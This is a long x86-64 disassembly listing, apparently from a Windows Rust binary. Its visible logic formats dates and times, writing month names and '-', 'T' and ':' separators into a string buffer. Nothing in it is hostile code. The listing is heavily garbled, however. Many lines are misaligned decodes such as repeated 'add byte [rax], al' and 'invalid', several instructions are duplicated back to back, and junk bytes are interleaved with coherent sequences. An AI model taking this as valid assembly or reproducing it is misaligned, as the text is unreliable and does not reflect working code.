lea rax, [0x14003d5c0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 1
pop rax
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x48], cl
and byte [rax], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add cl, ch
enter 6, 0
jmp 0x140024b8a
cmp dword [rsp + 0xf8], 0x16e7
ja 0x14002481d
add byte [rax - 0x75], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x85e26
mov rax, qword [rsp + 0x130]
lea rcx, [0x1400aa308]
movzx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x150]
add byte [rax], al
add byte [rax], al
add byte [rbp - 0x173e3efc], cl
add al, 0x83
loopne 0x140024516
lea eax, [rcx + rax*8]
shr eax, 4
and eax, 0x1f
jmp 0x140024af9
mov rax, qword [rsp + 0x270]
jmp 0x140024af9
add byte [rax], al
add byte [rax], al
cmp dword [rsp + 0x170], 6
ja 0x140025cd4
add byte [rax - 0x75], cl
test byte [rax + rcx*2], ah
add al, byte [rax]
add byte [rax - 0x75], cl
sbb byte [rax - 0x75], cl
mov rax, qword [rsp + 0x240]
mov rsi, qword [rax]
jmp 0x14002460b
mov rax, qword [rsp + 0x248]
mov rbx, qword [rax]
mov rax, qword [rsp + 0x240]
mov eax, dword [rsp + 0x240]
mov rsi, qword [rax]
jmp 0x14002460b
mov rax, qword [rsp + 0x290]
jmp 0x140024af9
mov rcx, qword [rsp + 0xf8]
cmp ecx, 0x16e7
ja 0x140025e4b
mov rax, qword [rsp + 0x130]
lea rdx, [0x1400aa308]
movzx eax, byte [rax + rdx]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
ja 0x140025e50
shl rcx, 4
lea rax, str.JanFebMarAprMayJunJulAugSepOctNovDec
mov rsi, qword [rcx + rax]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
sub rax, rdx
cmp rax, 2
jbe 0x14002565a
mov rax, qword [rsp + 0x30]
movzx ecx, byte [rsi + 2]
mov dh, 0x4e
add cl, byte [rax + 0xf02104c]
mov bh, 0xe
mov dh, 0x4e
add cl, byte [rax + 0xf02104c]
mov bh, 0xe
mov word [rax + rdx], cx
add rdx, 3
mov qword [rsp + 0x40], rdx
jmp 0x140022a63
mov rcx, qword [rsp + 0xf8]
cmp ecx, 0x16e7
ja 0x140025e59
mov rax, qword [rsp + 0x130]
lea rdx, [0x1400aa308]
movzx eax, byte [rax + rdx]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
ja 0x140025e5e
sbb byte [rax], al
invalid
sbb byte [rax], al
add byte [rax - 0x3f], cl
loope 0x1400245ff
shl rcx, 4
lea rax, str.JanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecember
mov rbx, qword [rcx + rax]
test al, 0xa
add byte [rax - 0x75], cl
sbb al, 1
mov rsi, qword [rcx + rax + 8]
mov rax, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
sub rax, r15
cmp rax, rsi
jb 0x140025674
invalid
add byte [rax - 0x75], cl
and al, 0x30
invalid
mov rcx, qword [rsp + 0x30]
xor byte [rcx + rax - 7], cl
add rcx, r15
mov rdx, rbx
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
invalid
add byte [rcx + 1], cl
test dword [rcx + rcx*4 + 0x7c], 0x22e94024
in al, 0xff
invalid
invalid
mov rdx, qword [rsp + 0x40]
cmp qword [rsp + 0x38], rdx
je 0x1400256b2
lea r8, fcn.1400093b0
lea rsi, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [rsp + 0x40], rdx
mov rax, qword [rsp + 0x168]
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
add al, byte [rax]
add byte [rax], al
invalid
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x39], cl
and al, 0x58
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 3
jmp 0x140024a1a
invalid
add byte [rax - 0x7d], cl
mov esp, 0x10824
add byte [rax], al
cmp qword [rsp + 0x108], 0
je case.0x140024c87.0
lea rcx, [0x1400aa5e5]
jmp 0x14002401b
cmp qword [rsp + 0x108], 0
mov esp, 0x10824
add byte [rax], al
je case.0x140024c87.0
cmp dword [rsp + 0x150], 0x4e1ffff
ja case.0x140024c87.0
cmp dword [rsp + 0x170], 6
ja 0x140025cdd
mov rax, qword [rsp + 0x210]
mov rsi, qword [rax]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, rax
sub rcx, rdx
cmp rcx, 2
jbe 0x14002572e
mov rcx, qword [rsp + 0x30]
movzx r8d, byte [rsi + 2]
mov byte [rcx + rdx + 2], r8b
movzx r8d, word [rsi]
mov word [rcx + rdx], r8w
add rdx, 3
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x40], edx
sub rax, rdx
cmp rax, 1
mov rbx, qword [rsp + 0x150]
jbe 0x14002574d
lea rax, [rdx + 2]
xor esi, esi
mov word [rcx + rdx], 0x202c
mov qword [rsp + 0x40], rax
cmp dword [rsp + 0xf8], 0x16e7
and al, 0xf8
add byte [rax], al
add bh, ah
invalid
add byte [rax], al
ja 0x1400247a3
and al, 0xf8
add byte [rax], al
add bh, ah
invalid
mov rax, qword [rsp + 0x130]
lea rcx, [0x1400aa308]
movzx eax, byte [rax + rcx]
add al, 8
lea esi, [rbx + rax*8]
shr esi, 4
and esi, 0x1f
cmp esi, 0xa
dec byte [rdx]
dec byte [rdx]
jae 0x1400252ca
add esi, 0x30
jmp 0x1400252f5
or eax, dword [rax]
invalid
or eax, dword [rax]
add byte [rbx + 0x104248c], cl
mov ecx, dword [rsp + 0x104]
mov ecx, dword [rsp + 0x104]
mov rdx, qword [rsp + 0xf8]
call fcn.14003ca80
sar eax, 0xa
and al, 0xf8
add byte [rax], al
add al, ch
rol dword [rdx - 0x73effff], 0xa
cdqe
imul rcx, rax, 0x51eb851f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x25
stc
and eax, 0xc96bd101
sub eax, ecx
invalid
stc
and eax, 0xc96bd101
sub eax, ecx
movsxd rcx, eax
lea rax, [rcx + 0x64]
test ecx, ecx
enter 0xffffffffffff8d48, 0x41
test ecx, ecx
cmovns rax, rcx
jmp 0x140024af9
mov rcx, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0xf8]
cmp ecx, 0x16e7
ja 0x14002481d
mov rax, qword [rsp + 0x130]
lea rdx, [0x1400aa308]
and al, 0x30
add dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0x85afa
movzx eax, byte [rax + rdx]
lea eax, [rcx + rax*8]
rol ecx, 0xe8
or ecx, ebp
fadd qword [rdx]
add byte [rax], al
rol ecx, 0xe8
or ecx, ebp
fadd qword [rdx]
add byte [rax], al
xor eax, eax
jmp 0x140024af9
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x178]
jmp 0x140024af9
mov rax, qword [rsp + 0x178]
jmp 0x140024af9
mov ecx, dword [rsp + 0x104]
mov rdx, qword [rsp + 0xf8]
call fcn.14003ca80
shr eax, 4
and eax, 0x3f
jmp 0x140024af9
mov ebx, 3
mov rax, qword [rsp + 0x288]
and al, 0x88
add al, byte [rax]
add cl, ch
xchg edi, eax
add al, byte [rax]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rcx*4], ah
and al, 0x88
and al, 0x88
add al, byte [rax]
add cl, ch
xchg edi, eax
add al, byte [rax]
add byte [rbx + 9], bh
mov ebx, 9
mov ebx, 9
mov rax, qword [rsp + 0x148]
jmp 0x140024af9
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
sub rax, rdx
cmp rax, 1
jbe 0x1400256d6
mov rax, qword [rsp + 0x30]
and al, 0x30
mov ecx, dword [rsp + 0x1cc]
mov word [rax + rdx], cx
add rdx, 2
mov qword [rsp + 0x40], rdx
jmp 0x140022a63
mov rax, qword [rsp + 0x148]
mov dword [rsp + 0x110], eax
test eax, eax
je 0x140022a63
invalid
loope 0x1400248be
invalid
movabs dword [0x4024548b48ffffe1], eax
mov rdx, qword [rsp + 0x40]
cmp qword [rsp + 0x38], rdx
je 0x140025790
lea r8, fcn.1400093b0
lea rsi, [rsp + 0x30]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rdx], 0x2e
mov qword [rsp + 0x40], rax
cmp dword [rsp + 0x1b8], 0
je 0x14002466e
invalid
inc dword [rbx + 0x1a424bc]
add byte [rax], al
add byte [rdi], cl
test bh, al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx], ah
add dword [rax], eax
add cl, ch
cmpsb byte [rsi], byte [rdi]
cli
invalid
cmp dword [rsp + 0x1a4], 0
je 0x1400249d1
lea rax, [rsp + 0x110]
jmp 0x1400243bd
cmp qword [rsp + 0x108], 0
je case.0x140024c87.0
mov eax, dword [rsp + 0x104]
mov dword [rsp + 0x138], eax
mov r14, qword [rsp + 0x150]
cmp r14d, 0x4e20000
jae 0x140024cd7
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov edx, dword [rsp + 0x1b4]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x1b0]
call fcn.14000c890
cmp byte [rsp + 0x238], 0x63
lea r15, fcn.1400093b0
ja case.0x140024c87.0
mov rcx, rsi
mov edx, dword [rsp + 0x1ac]
add dword [rax], eax
add al, ch
add byte [rdi - 2], bh
dec dword [rax - 0x77]
int1
add dword [rax], eax
add al, ch
add byte [rdi - 2], bh
dec dword [rax - 0x77]
int1
mov edx, dword [rsp + 0x1a8]
call fcn.14000c890
jmp 0x140024da5
mov rdx, qword [rsp + 0x40]
cmp qword [rsp + 0x38], rdx
je 0x1400256f0
lea r8, fcn.1400093b0
lea rsi, [rsp + 0x30]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x2e
inc rdx
mov qword [rsp + 0x40], rdx
mov rax, qword [rsp + 0x160]
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 6
mov qword [rsp + 0x68], 0
movabs rax, 0x800000020
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 3
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
and al, 0x98
and al, 0x98
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rdx, r8
mov edx, eax
ret 0x8d4c
lea r8, [rsp + 0x80]
jmp 0x140022a56
cmp qword [rsp + 0x108], 0
je case.0x140024c87.0
adc al, byte [rax]
invalid
adc al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
sub rax, rsi
mov rbx, qword [rsp + 0x250]
cmp rax, rbx
jb 0x140025714
mov rcx, qword [rsp + 0x30]
add rcx, rsi
mov rdx, qword [rsp + 0x108]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
ret
invalid
add byte [rax + 1], cl
fimul word [rax - 0x77]
je 0x140024b0a
jmp 0x140022a63
ret
mov ebx, 1
mov rax, qword [rsp + 0x260]
lea rdx, fcn.1400093b0
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x110]
test r14b, r14b
je 0x140022a01
cmp esi, 1
jne 0x140024b91
mov qword [rsp + 0xd8], rax
lea rax, [0x140045be0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0xe8], rax
lea rax, [0x14003d5c0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
movabs rax, 0x800000020
mov qword [rsp + 0x70], rax
jmp 0x140024bf4
mov qword [rsp + 0xd8], rax
lea rax, [0x140045be0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0x138]
mov qword [rsp + 0xe8], rax
lea rax, [0x14003d5c0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0x20
mov byte [rsp + 0x78], 3
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
movabs al, byte [0xa82484c748000000]
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
invalid
movabs al, byte [0xa82484c748000000]
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x80]
jmp 0x140022a56
invalid
dec dword [rax - 0x7d]
mov esp, 0x10824
add byte [rax], al
cmp qword [rsp + 0x108], 0
je case.0x140024c87.0
lea rcx, [0x1400aa5e9]
jmp 0x14002401b
movzx eax, al
lea rcx, [0x1400e6a64]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x168]
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 3
jmp 0x140025244
lea rax, [rsp + 0x138]
mov qword [rsp + 0xd8], rax
lea rax, [0x140045aa0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 5
mov qword [rsp + 0x68], 0
movabs rax, 0x900000020
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 3
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rsi, [rsp + 0x30]
mov rcx, rsi
lea r15, fcn.1400093b0
mov rdx, r15
lea r8, [rsp + 0x80]
call fcn.14003e1b0
test al, al
jne case.0x140024c87.0
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140024dbe
mov rcx, rsi
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x144]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rdx], 0x2d
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0xf8]
cmp ecx, 0x16e8
jae 0x140024e1a
mov rax, qword [rsp + 0x130]
lea rdx, [0x1400aa308]
movzx eax, byte [rax + rdx]
lea esi, [rcx + rax*8]
shr esi, 9
cmp sil, 0xa
mov edx, 0x30
sbb edx, 0xffffffff
cmp sil, 9
jbe 0x140024e21
add esi, 0xf6
jmp 0x140024e21
xor esi, esi
mov edx, 0x30
lea r12, [rsp + 0x30]
mov rcx, r12
call fcn.14000c890
or esi, 0x30
movzx edx, sil
mov rcx, r12
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140024e56
mov rcx, r12
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
lea rax, [rdx + 1]
mov rcx, qword [rsp + 0x30]
mov byte [rcx + rdx], 0x2d
mov qword [rsp + 0x40], rax
cmp dword [rsp + 0xf8], 0x16e7
ja 0x140024e93
mov rax, qword [rsp + 0x130]
lea rcx, [0x1400aa308]
movzx eax, byte [rax + rcx]
lea eax, [r14 + rax*8]
shr eax, 4
and al, 0x1f
jmp 0x140024e95
xor eax, eax
movzx esi, al
lea eax, [rsi + rsi*4]
lea eax, [rax + rax*4]
add eax, esi
shr eax, 8
mov ecx, eax
or cl, 0x30
add eax, eax
lea eax, [rax + rax*4]
sub sil, al
or sil, 0x30
movzx edx, cl
lea r14, [rsp + 0x30]
mov rcx, r14
call fcn.14000c890
movzx edx, sil
mov rcx, r14
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140024ee9
mov rcx, r14
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x54
inc rdx
mov qword [rsp + 0x40], rdx
mov dword [rsp + 0x110], ebx
mov rcx, r14
mov edx, dword [rsp + 0x12c]
call fcn.14000c890
mov rcx, r14
mov edx, dword [rsp + 0x128]
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140024f38
mov rcx, r14
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x40], rdx
mov rcx, r14
mov edx, dword [rsp + 0x124]
call fcn.14000c890
mov rcx, r14
mov edx, dword [rsp + 0x158]
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140024f80
mov rcx, r14
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x40], rdx
mov rcx, r14
mov rcx, r14
mov edx, dword [rsp + 0x120]
call fcn.14000c890
mov rcx, r14
mov edx, dword [rsp + 0x11c]
call fcn.14000c890
mov ecx, dword [rsp + 0x110]
test ecx, ecx
je 0x140025645
mov eax, ecx
imul edx, ecx, 0x68c26139
ror edx, 6
cmp edx, 0x10c6
jbe 0x140025523
imul ecx, ecx, 0x26e978d5
ror ecx, 3
cmp ecx, 0x418937
jbe 0x140025571
lea rax, [rsp + 0x110]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 9
jmp 0x1400255bd
lea rax, [rsp + 0x110]
mov qword [rsp + 0xd8], rax
lea rax, [0x140045be0]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x68], 0
movabs rax, 0x100000020
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 3
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
jmp 0x140024c49
lea rcx, [rsp + 0x30]
mov qword [rsp + 0xb0], 5
lea rax, [rsp + 0x110]
mov qword [rsp + 0xd8], rax
lea rax, [0x140045be0]
mov qword [rsp + 0xe0], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xe8], rax
lea rax, [0x14003d5c0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
movabs rax, 0x900000020
add byte [rcx], cl
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
add byte [rcx], cl
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov byte [rsp + 0x78], 3
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x80], rax
add byte [rax], al
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
lea r8, [rsp + 0x80]
jmp 0x140022a56
mov rax, qword [rsp + 0x160]
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 6
jmp 0x140025244
mov rax, qword [rsp + 0x148]
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 9
mov qword [rsp + 0x68], 0
movabs rax, 0x800000020
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 3
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x30]
lea rdx, fcn.1400093b0
lea r8, [rsp + 0x80]
jmp 0x140022a56
lea eax, [rsi + rsi*4]
lea eax, [rax + rax*4]
add eax, esi
shr eax, 8
lea ecx, [rax + 0x30]
add eax, eax
lea eax, [rax + rax*4]
sub sil, al
or sil, 0x30
movzx edx, cl
lea rcx, [rsp + 0x30]
call fcn.14000c890
movzx esi, sil
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov edx, esi
call fcn.14000c890
mov rax, qword [rsp + 0x40]
cmp rax, qword [rsp + 0x38]
jne 0x140025320
mov rcx, rbx
mov rdx, rax
call fcn.14004c7e0
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xf8]
lea rdx, [rax + 1]
mov r8, qword [rsp + 0x30]
mov byte [r8 + rax], 0x20
mov qword [rsp + 0x40], rdx
cmp ecx, 0x16e7
ja 0x140025e67
mov rax, qword [rsp + 0x130]
lea r9, [0x1400aa308]
movzx eax, byte [rax + r9]
lea ecx, [rcx + rax*8]
shr ecx, 9
dec ecx
cmp ecx, 0xb
ja 0x140025e6c
shl rcx, 4
lea rax, str.JanFebMarAprMayJunJulAugSepOctNovDec
mov rsi, qword [rcx + rax]
mov rax, qword [rsp + 0x38]
mov rcx, rax
sub rcx, rdx
cmp rcx, 2
jbe 0x14002576c
movzx ecx, byte [rsi + 2]
mov byte [r8 + rdx + 2], cl
movzx ecx, word [rsi]
mov word [r8 + rdx], cx
add rdx, 3
mov qword [rsp + 0x40], rdx
cmp rdx, rax
lea rsi, [rsp + 0x30]
jne 0x1400253c9
mov rcx, rsi
mov rdx, rax
call fcn.14004c7e0
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
mov byte [r8 + rdx], 0x20
inc rdx
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov edx, dword [rsp + 0x1c8]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x1c4]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x1bc]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x1c0]
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x14002542b
mov rcx, rsi
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x20
inc rdx
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov edx, dword [rsp + 0x12c]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x128]
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140025473
mov rcx, rsi
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov edx, dword [rsp + 0x124]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x158]
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x1400254bb
mov rcx, rsi
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x3a
inc rdx
mov qword [rsp + 0x40], rdx
mov rcx, rsi
mov edx, dword [rsp + 0x120]
call fcn.14000c890
mov rcx, rsi
mov edx, dword [rsp + 0x11c]
call fcn.14000c890
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x38]
jne 0x140025503
mov rcx, rsi
call fcn.14004c7e0
mov rdx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x30]
mov byte [rax + rdx], 0x20
inc rdx
mov qword [rsp + 0x40], rdx
lea rcx, [0x1400aa6f0]
mov rdx, rsi
jmp 0x140024020
imul rax, rax, 0x431bde83
shr rax, 0x32
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 3
jmp 0x1400255bd
imul rax, rax, 0x10624dd3
shr rax, 0x26
mov dword [rsp + 0xb0], eax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xd8], rax
lea rax, [0x14003f490]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 6
mov qword [rsp + 0x68], 0
movabs rax, 0x800000020
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x78], 3
lea rax, [0x1400d0a70]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x48]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 1
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov rcx, r14
mov rdx, r15
lea r8, [rsp + 0x80]
call fcn.14003e1b0
test al, al
jne case.0x140024c87.0
mov dword [rsp + 0x48], 0x1010100
lea rcx, [rsp + 0x48]
mov rdx, r14
jmp 0x140024020
mov r8d, 3
lea rcx, [rsp + 0x30]
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
jmp 0x14002459d
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, rsi
call fcn.1400a5460
mov r15, qword [rsp + 0x40]
jmp 0x140024621
mov r8d, 1
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
lea r8, fcn.1400093b0
jmp 0x1400243a4
mov r8d, 1
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
lea r8, fcn.1400093b0
jmp 0x14002465d
mov r8d, 2
lea rcx, [rsp + 0x30]
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
jmp 0x14002488b
mov r8d, 1
lea rsi, [rsp + 0x30]
mov rcx, rsi
call fcn.1400a5460
mov rdx, qword [rsp + 0x40]
lea r8, fcn.1400093b0
jmp 0x1400249c0
lea rcx, [rsp + 0x30]
mov rdx, rsi
mov r8, rbx
call fcn.1400a5460
mov rsi, qword [rsp + 0x40]
jmp 0x140024ac7
mov r8d, 3
lea rcx, [rsp + 0x30]
call fcn.1400a5460
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
jmp 0x14002472a
mov r8d, 2
lea rcx, [rsp + 0x30]
call fcn.1400a5460
mov rcx, qword [rsp + 0x30]
